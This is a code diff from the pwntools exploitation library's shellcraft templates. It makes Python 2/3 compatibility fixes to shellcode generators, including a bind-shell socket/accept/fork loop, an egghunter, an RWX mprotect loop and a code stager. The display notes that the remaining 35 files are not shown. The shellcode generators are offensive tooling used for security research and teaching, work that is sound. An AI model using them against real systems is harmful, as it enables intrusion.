<%page args="return_value = None"/>
% if return_value != None:
% if return_value is not None:
${amd64.mov('rax', return_value)}
% endif
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.regsort import regsort
from pwnlib.shellcraft import registers, eval
from pwnlib.shellcraft.amd64 import mov
@@ -50,7 +51,7 @@ if isinstance(edx, str):
except NameError:
pass
if isinstance(eax, int) and isinstance(edx, int) and eax >> 63 == edx:
if isinstance(eax, six.integer_types) and isinstance(edx, six.integer_types) and eax >> 63 == edx:
cdq = True
reg_context.pop('rdx')
+2 -1
View File
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft import pretty, common, amd64, registers
from pwnlib.util.packing import pack, unpack
from pwnlib.context import context as ctx
@@ -45,7 +46,7 @@ else:
key_str = key
key_int = key
if isinstance(key, int):
if isinstance(key, six.integer_types):
key_str = pack(key, bytes=4)
else:
key_int = unpack(key, 'all')
@@ -33,13 +33,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(pretty(arg, False))
@@ -1,3 +1,4 @@
<% import six %>
<% from pwnlib.shellcraft.arm import mov %>
<% from pwnlib.util.packing import unpack %>
<% from pwnlib import constants %>
@@ -1,3 +1,4 @@
<% import six %>
<%page args="filepath, flags = 'O_RDONLY', mode = 0644"/>
<%docstring>Opens a file. Leaves the file descriptor in r0.
@@ -54,13 +54,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(repr(arg))
+1 -1
View File
@@ -15,7 +15,7 @@ Examples:
</%docstring>
<%page args="return_value = None"/>
% if return_value != None:
% if return_value is not None:
${arm.mov('r0', return_value)}
% endif
+2 -1
View File
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft import pretty, common, arm, registers
from pwnlib.shellcraft.registers import arm as regs
from pwnlib.util.packing import pack, unpack
@@ -39,7 +40,7 @@ if not key in regs:
key_str = key
key_int = key
if isinstance(key, int):
if isinstance(key, six.integer_types):
key_str = pack(key, bytes=4)
else:
key_int = unpack(key, 'all')
@@ -18,13 +18,13 @@ Any of the arguments can be expressions to be evaluated by :func:`pwnlib.constan
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(repr(arg))
@@ -65,13 +65,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(pretty(arg, False))
@@ -20,22 +20,22 @@ ${acceptloop}:
/* Socket file descriptor is placed in EBP */
/* sock = socket(AF_INET, SOCK_STREAM, 0) */
${i386.linux.push(0)}
${i386.linux.push('SOCK_STREAM')}
${i386.linux.push('AF_INET')}
${i386.push(0)}
${i386.push('SOCK_STREAM')}
${i386.push('AF_INET')}
${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_socket', 'esp')}
${i386.linux.mov('esi', 'eax')} /* keep socket fd */
${i386.mov('esi', 'eax')} /* keep socket fd */
/* bind(sock, &addr, sizeof addr); // sizeof addr == 0x10 */
${i386.linux.push(0)}
${i386.push(0)}
/* ${htons(port)} == htons(${port}) */
${i386.linux.push('AF_INET | (%d << 16)' % htons(port))}
${i386.linux.mov('ecx', 'esp')}
${i386.push('AF_INET | (%d << 16)' % htons(port))}
${i386.mov('ecx', 'esp')}
${i386.linux.push(0x10)} /* sizeof addr */
${i386.linux.push('ecx')} /* &addr */
${i386.linux.push('eax')} /* sock */
${i386.push(0x10)} /* sizeof addr */
${i386.push('ecx')} /* &addr */
${i386.push('eax')} /* sock */
${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_bind', 'esp')}
/* listen(sock, whatever) */
@@ -44,17 +44,17 @@ ${acceptloop}:
${looplabel}:
/* accept(sock, NULL, NULL) */
${i386.linux.push(0x0)}
${i386.linux.push('esi')} /* sock */
${i386.push(0x0)}
${i386.push('esi')} /* sock */
${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_accept', 'esp')}
${i386.linux.mov('ebp', 'eax')} /* keep in-coming socket fd */
${i386.mov('ebp', 'eax')} /* keep in-coming socket fd */
${i386.linux.syscall('SYS_fork')}
xchg eax, edi
test edi, edi
${i386.linux.mov('ebx', 'ebp')}
${i386.mov('ebx', 'ebp')}
cmovz ebx, esi /* on child we close the server sock instead */
/* close(sock) */
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft import i386, pretty, common
from pwnlib.util.packing import pack, unpack
from pwnlib.util.lists import group
@@ -24,7 +25,7 @@ done = common.label('egghunter_done')
next_page = common.label('egghunter_nextpage')
egg_str = egg
if isinstance(egg, int):
if isinstance(egg, six.integer_types):
egg_str = pack(egg)
if len(egg_str) % 4:
@@ -28,7 +28,7 @@ ${looplabel}:
pushad
int 0x80
% if port == None:
% if port is None:
test eax, eax
popad
pop edx
@@ -14,23 +14,14 @@ Arguments:
Example:
>>> gcc = process(['gcc','-m32','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
... printf("Hello, %s!\\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
>>> run_assembly(sc).recvline()
b'Hello, i386!\n'
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'i386'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
</%docstring>
<%page args="data = None"/>
@@ -48,7 +39,7 @@ ${elf_data}:
<%
import os
if os.path.isfile(data):
if b'\x00' not in data and os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
@@ -22,6 +22,6 @@
%endif
${label}:
${i386.linux.syscall('SYS_mprotect', 'ebx', 'ecx', 'PROT_READ | PROT_WRITE | PROT_EXEC')}
${i386.linux.mov('ecx', 0x1000)}
${i386.mov('ecx', 0x1000)}
add ebx, ecx
jnz ${label}
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft.i386 import push
from pwnlib.shellcraft.i386.linux import read, readn, mmap
from pwnlib import constants as C
@@ -29,7 +30,7 @@ Example:
protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC
flags = C.MAP_ANONYMOUS | C.MAP_PRIVATE
assert isinstance(fd, int)
assert isinstance(fd, six.integer_types)
%>
%if length is None:
/* How many bytes should we receive? */
@@ -90,13 +90,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(pretty(arg, False))
+1 -1
View File
@@ -6,7 +6,7 @@ Args:
</%docstring>
<%page args="return_value = None"/>
% if return_value != None:
% if return_value is not None:
${i386.mov('eax', return_value)}
% endif
Loaded 100 of 135 files, more files were not shown because too many files have changed in this diff. Show more